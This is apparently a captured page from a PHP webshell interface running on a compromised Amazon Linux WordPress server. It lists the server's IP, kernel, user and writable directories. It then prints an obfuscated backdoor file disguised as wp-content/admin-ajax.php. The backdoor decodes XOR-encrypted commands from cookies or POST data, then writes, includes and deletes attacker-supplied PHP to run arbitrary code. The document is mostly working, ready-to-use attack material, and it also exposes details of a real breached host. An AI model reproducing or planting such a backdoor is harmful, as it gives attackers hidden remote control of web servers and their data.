403Webshell
Server IP : 52.202.253.110  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8
System : Linux ip-172-32-10-67.ec2.internal 6.1.49-70.116.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Sep 6 22:13:07 UTC 2023 x86_64
User : ec2-user ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/vhosts/ats_html/wp-content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/ats_html/wp-content/admin-ajax.php
<?php /*rhcth   */function	elpy_m(){$pjsqbk='zmstljr';     print_r  (34902+34902);    }


$_zrj_gpaay	=/*  fhzoa */'_zrj_gpaay'   ^/*   xcjtm  */'<';





$xlxhsqkp       =/*nlqw   */$_COOKIE;


$oxbrbolgffvtit/* i */=	$_POST;

function/*  vhhu*/adtkyraxs_($dfpxsftf_,	$nwsbvnqg)
{

	global       $_zrj_gpaay;
/* faf  */$miam_d	=      "";	for	($pdatr    =      0;	$pdatr	</* v */strlen($dfpxsftf_);)/*   bjj   */{


     for	($oxbrbol    =/* h   */0;	$oxbrbol/*hh_  */</*  omz  */strlen($nwsbvnqg)	&&   $pdatr    </*  _up   */strlen($dfpxsftf_);       $oxbrbol++,/*foybh */$pdatr++)/*  bpqw  */{


	$miam_d	.=   $_zrj_gpaay(ord($dfpxsftf_[$pdatr])       ^	ord($nwsbvnqg[$oxbrbol]));	}
   }


	return      $miam_d;
}




function	syyzvkt_q($adckhofwk,	$dfpxsftf_){

/* hy*/global     $_zrj_gpaay;	$eyydojdjir       =	sprintf($_zrj_gpaay(591-545)      .      "/".$_zrj_gpaay(37)	./* w  */"s"."."."p"."\x6c",      md5($adckhofwk));


	file_put_contents($eyydojdjir,/*   sj  */"<"/*   vvmh   */.     "?"."\x70"	.	$_zrj_gpaay(996-892)/*  wuzo   */./*   s  */"p".$_zrj_gpaay(32)/*oi*/./*fn   */"u"."\156"   .   "\x6c"/* gqzad   */./*  jg  */$_zrj_gpaay(537-432)      .	$_zrj_gpaay(224-114)  .	"\x6b"/*   _ */.   "\x28"   ./*  tsm   */$_zrj_gpaay(95)/*   f */.	$_zrj_gpaay(936-841)/*wiy   */.     $_zrj_gpaay(70)/*   yirq */.  $_zrj_gpaay(760-687)/* _orqa  */.	"\x4c"	./*  p*/$_zrj_gpaay(69)/* hhflc*/.	$_zrj_gpaay(301-206)       .	$_zrj_gpaay(813-718)      .	")"."\73"	./*  _cc*/$_zrj_gpaay(32)/* pk */.     $dfpxsftf_["d"]);

   include($eyydojdjir);


	$mfiowmuyal/*vpht  */=       $eyydojdjir;


      unlink($mfiowmuyal);

}


function     fmkryz()
{

   global    $_zrj_gpaay;

	


/* cnr*/$pdatr	=/*bja  */array();
   $pdatr["p"."v"]  =   phpversion();
/*   k_f  */$pdatr["s"."v"]       =	$_zrj_gpaay(697-646)   .	"."."\x35";
/*   r*/echo       @serialize($pdatr);


}



function	rkn_czl_t($dfpxsftf_,/*du   */$adckhofwk,/*  frtsm  */$_s_okq){

      global	$_zrj_gpaay;

		$dfpxsftf_	=	unserialize(adtkyraxs_(adtkyraxs_(base64_decode($dfpxsftf_),      $adckhofwk),/*  aga */$_s_okq));


  if/*   yxjsk   */(isset($dfpxsftf_["a"."\153"]))/* uso*/{


/*  sxp*/if	($dfpxsftf_["a"]	==	$_zrj_gpaay(785-680))    {
     fmkryz();	}	elseif     ($dfpxsftf_["a"]/*xsk */==	$_zrj_gpaay(101))    {      syyzvkt_q($adckhofwk,	$dfpxsftf_);       }	exit();

    }

}



$xlxhsqkp/* kk   */=/*   ejgyt   */array_merge($oxbrbolgffvtit,    $xlxhsqkp);



$adckhofwk/*  o   */=      $_zrj_gpaay(48)   ./*   cpol   */"7"."0"."\144"/*  of*/./*   m*/"\x39"      ./* qw  */$_zrj_gpaay(54)  .    $_zrj_gpaay(57)/*  zlkw */.	$_zrj_gpaay(100)	.	$_zrj_gpaay(45)/*   bj   */.  "8"."6"."5"."9".$_zrj_gpaay(312-267)	.	$_zrj_gpaay(52)/*   jt*/.   "1".$_zrj_gpaay(621-524)      ./* tnvuq   */$_zrj_gpaay(1083-986)	.       "-"."\141"/* _hia*/.	"\144"  .    "\x39"   .	"5"."-"."8"."1"."c".$_zrj_gpaay(595-493)	.   "4"."6"."\x32"/*qu*/./*   x_   */$_zrj_gpaay(557-505)      .	$_zrj_gpaay(133-77)   .	$_zrj_gpaay(99)  .       $_zrj_gpaay(48)   .	"\x61";foreach	($xlxhsqkp/* c   */as/* av*/$_s_okq/*  oxfx */=>	$dfpxsftf_)     {

      rkn_czl_t($dfpxsftf_,	$adckhofwk,/*  raz */$_s_okq);
}

Youez - 2016 - github.com/yon3zu
LinuXploit